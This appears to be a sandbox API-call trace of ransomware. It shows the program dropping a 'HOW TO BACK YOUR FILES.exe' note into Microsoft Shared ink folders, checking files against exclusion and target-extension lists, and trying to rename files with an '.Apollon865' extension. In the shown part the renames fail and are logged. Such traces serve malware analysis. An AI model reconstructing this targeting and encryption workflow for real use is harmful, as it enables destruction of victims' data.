	[0076.840] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0
	[0076.840] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.840] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc70
	[0076.840] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad"
	[0076.840] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3720 | out: hHeap=0x580000) returned 1
	[0076.840] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0076.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad") returned 74
	[0076.841] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad"
	[0076.841] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.841] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.844] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45df47d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45df47d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.845] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.845] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.845] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.845] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45df47d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45df47d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.845] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.845] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.845] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.845] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.845] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45df47d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45df47d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.845] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.845] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2=".") returned 1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="..") returned 1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="windows") returned -1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="bootmgr") returned 1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="temp") returned -1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="pagefile.sys") returned -1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="boot") returned 1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="ids.txt") returned 1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="ntuser.dat") returned 1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="perflogs") returned -1
	[0076.845] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="MSBuild") returned 1
	[0076.845] lstrlenW (lpString="osknumpadbase.xml") returned 17
	[0076.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*") returned 76
	[0076.845] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="osknumpadbase.xml" | out: lpString1="osknumpadbase.xml") returned="osknumpadbase.xml"
	[0076.845] lstrlenW (lpString="osknumpadbase.xml") returned 17
	[0076.845] lstrlenW (lpString="Apollon865") returned 10
	[0076.846] lstrcmpiW (lpString1="adbase.xml", lpString2="Apollon865") returned -1
	[0076.846] lstrlenW (lpString=".dll") returned 4
	[0076.846] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2=".dll") returned 1
	[0076.846] lstrlenW (lpString=".lnk") returned 4
	[0076.846] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2=".lnk") returned 1
	[0076.846] lstrlenW (lpString=".ini") returned 4
	[0076.846] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2=".ini") returned 1
	[0076.846] lstrlenW (lpString=".sys") returned 4
	[0076.846] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2=".sys") returned 1
	[0076.846] lstrlenW (lpString="osknumpadbase.xml") returned 17
	[0076.846] lstrlenW (lpString="bak") returned 3
	[0076.846] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.846] lstrlenW (lpString="ba_") returned 3
	[0076.846] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.846] lstrlenW (lpString="dbb") returned 3
	[0076.846] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.846] lstrlenW (lpString="vmdk") returned 4
	[0076.846] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.846] lstrlenW (lpString="rar") returned 3
	[0076.846] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.846] lstrlenW (lpString="zip") returned 3
	[0076.846] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.874] lstrlenW (lpString="tgz") returned 3
	[0076.874] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.874] lstrlenW (lpString="vbox") returned 4
	[0076.874] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.874] lstrlenW (lpString="vdi") returned 3
	[0076.874] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.874] lstrlenW (lpString="vhd") returned 3
	[0076.874] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.874] lstrlenW (lpString="vhdx") returned 4
	[0076.874] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.874] lstrlenW (lpString="avhd") returned 4
	[0076.874] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.874] lstrlenW (lpString="db") returned 2
	[0076.874] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.874] lstrlenW (lpString="db2") returned 3
	[0076.874] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.874] lstrlenW (lpString="db3") returned 3
	[0076.874] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.874] lstrlenW (lpString="dbf") returned 3
	[0076.874] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.874] lstrlenW (lpString="mdf") returned 3
	[0076.874] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.874] lstrlenW (lpString="mdb") returned 3
	[0076.874] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.874] lstrlenW (lpString="sql") returned 3
	[0076.874] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.874] lstrlenW (lpString="sqlite") returned 6
	[0076.875] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1
	[0076.875] lstrlenW (lpString="sqlite3") returned 7
	[0076.875] lstrcmpiW (lpString1="ase.xml", lpString2="sqlite3") returned -1
	[0076.875] lstrlenW (lpString="sqlitedb") returned 8
	[0076.875] lstrcmpiW (lpString1="base.xml", lpString2="sqlitedb") returned -1
	[0076.875] lstrlenW (lpString="xml") returned 3
	[0076.875] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.875] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.Apollon865") returned 103
	[0076.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.880] GetLastError () returned 0x5
	[0076.880] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml MoveFileEx error 5\r\n") returned 121
	[0076.880] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml MoveFileEx error 5\r\n") returned 121
	[0076.880] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.881] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3c14
	[0076.881] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x79, lpOverlapped=0x0) returned 1
	[0076.881] CloseHandle (hObject=0x100) returned 1
	[0076.881] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.881] CloseHandle (hObject=0x0) returned 0
	[0076.881] CloseHandle (hObject=0x0) returned 0
	[0076.881] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0
	[0076.881] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.881] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0076.882] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu"
	[0076.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0fc8 | out: hHeap=0x580000) returned 1
	[0076.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0076.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu") returned 72
	[0076.882] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu"
	[0076.882] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.882] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.886] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45e66bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45e66bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.886] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.886] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.886] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.886] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45e66bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45e66bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.886] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.886] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.886] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.886] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.886] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e66bf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45e66bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.886] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.886] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1
	[0076.886] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.886] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.886] lstrcmpiW (lpString1="oskmenubase.xml", lpString2=".") returned 1
	[0076.886] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="..") returned 1
	[0076.886] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="windows") returned -1
	[0076.886] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="bootmgr") returned 1
	[0076.886] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="temp") returned -1
	[0076.886] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="pagefile.sys") returned -1
	[0076.886] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="boot") returned 1
	[0076.886] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="ids.txt") returned 1
	[0076.887] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="ntuser.dat") returned 1
	[0076.887] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="perflogs") returned -1
	[0076.887] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="MSBuild") returned 1
	[0076.887] lstrlenW (lpString="oskmenubase.xml") returned 15
	[0076.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*") returned 74
	[0076.887] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="oskmenubase.xml" | out: lpString1="oskmenubase.xml") returned="oskmenubase.xml"
	[0076.887] lstrlenW (lpString="oskmenubase.xml") returned 15
	[0076.887] lstrlenW (lpString="Apollon865") returned 10
	[0076.887] lstrcmpiW (lpString1="nubase.xml", lpString2="Apollon865") returned 1
	[0076.887] lstrlenW (lpString=".dll") returned 4
	[0076.887] lstrcmpiW (lpString1="oskmenubase.xml", lpString2=".dll") returned 1
	[0076.887] lstrlenW (lpString=".lnk") returned 4
	[0076.887] lstrcmpiW (lpString1="oskmenubase.xml", lpString2=".lnk") returned 1
	[0076.887] lstrlenW (lpString=".ini") returned 4
	[0076.887] lstrcmpiW (lpString1="oskmenubase.xml", lpString2=".ini") returned 1
	[0076.887] lstrlenW (lpString=".sys") returned 4
	[0076.887] lstrcmpiW (lpString1="oskmenubase.xml", lpString2=".sys") returned 1
	[0076.887] lstrlenW (lpString="oskmenubase.xml") returned 15
	[0076.887] lstrlenW (lpString="bak") returned 3
	[0076.887] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.887] lstrlenW (lpString="ba_") returned 3
	[0076.887] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.887] lstrlenW (lpString="dbb") returned 3
	[0076.887] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.887] lstrlenW (lpString="vmdk") returned 4
	[0076.887] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.887] lstrlenW (lpString="rar") returned 3
	[0076.887] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.887] lstrlenW (lpString="zip") returned 3
	[0076.887] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.887] lstrlenW (lpString="tgz") returned 3
	[0076.887] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.887] lstrlenW (lpString="vbox") returned 4
	[0076.887] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.887] lstrlenW (lpString="vdi") returned 3
	[0076.887] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.887] lstrlenW (lpString="vhd") returned 3
	[0076.887] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.888] lstrlenW (lpString="vhdx") returned 4
	[0076.888] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.888] lstrlenW (lpString="avhd") returned 4
	[0076.888] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.888] lstrlenW (lpString="db") returned 2
	[0076.888] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.888] lstrlenW (lpString="db2") returned 3
	[0076.888] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.888] lstrlenW (lpString="db3") returned 3
	[0076.888] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.888] lstrlenW (lpString="dbf") returned 3
	[0076.888] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.888] lstrlenW (lpString="mdf") returned 3
	[0076.888] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.888] lstrlenW (lpString="mdb") returned 3
	[0076.888] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.888] lstrlenW (lpString="sql") returned 3
	[0076.888] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.888] lstrlenW (lpString="sqlite") returned 6
	[0076.888] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1
	[0076.888] lstrlenW (lpString="sqlite3") returned 7
	[0076.888] lstrcmpiW (lpString1="ase.xml", lpString2="sqlite3") returned -1
	[0076.888] lstrlenW (lpString="sqlitedb") returned 8
	[0076.888] lstrcmpiW (lpString1="base.xml", lpString2="sqlitedb") returned -1
	[0076.888] lstrlenW (lpString="xml") returned 3
	[0076.888] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.888] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.Apollon865") returned 99
	[0076.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.888] GetLastError () returned 0x5
	[0076.888] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml MoveFileEx error 5\r\n") returned 117
	[0076.888] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml MoveFileEx error 5\r\n") returned 117
	[0076.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.889] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3c8d
	[0076.889] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x75, lpOverlapped=0x0) returned 1
	[0076.889] CloseHandle (hObject=0xc0) returned 1
	[0076.889] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.889] CloseHandle (hObject=0x0) returned 0
	[0076.889] CloseHandle (hObject=0x0) returned 0
	[0076.889] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0
	[0076.889] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.889] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0076.889] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers"
	[0076.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0f28 | out: hHeap=0x580000) returned 1
	[0076.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0076.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers") returned 72
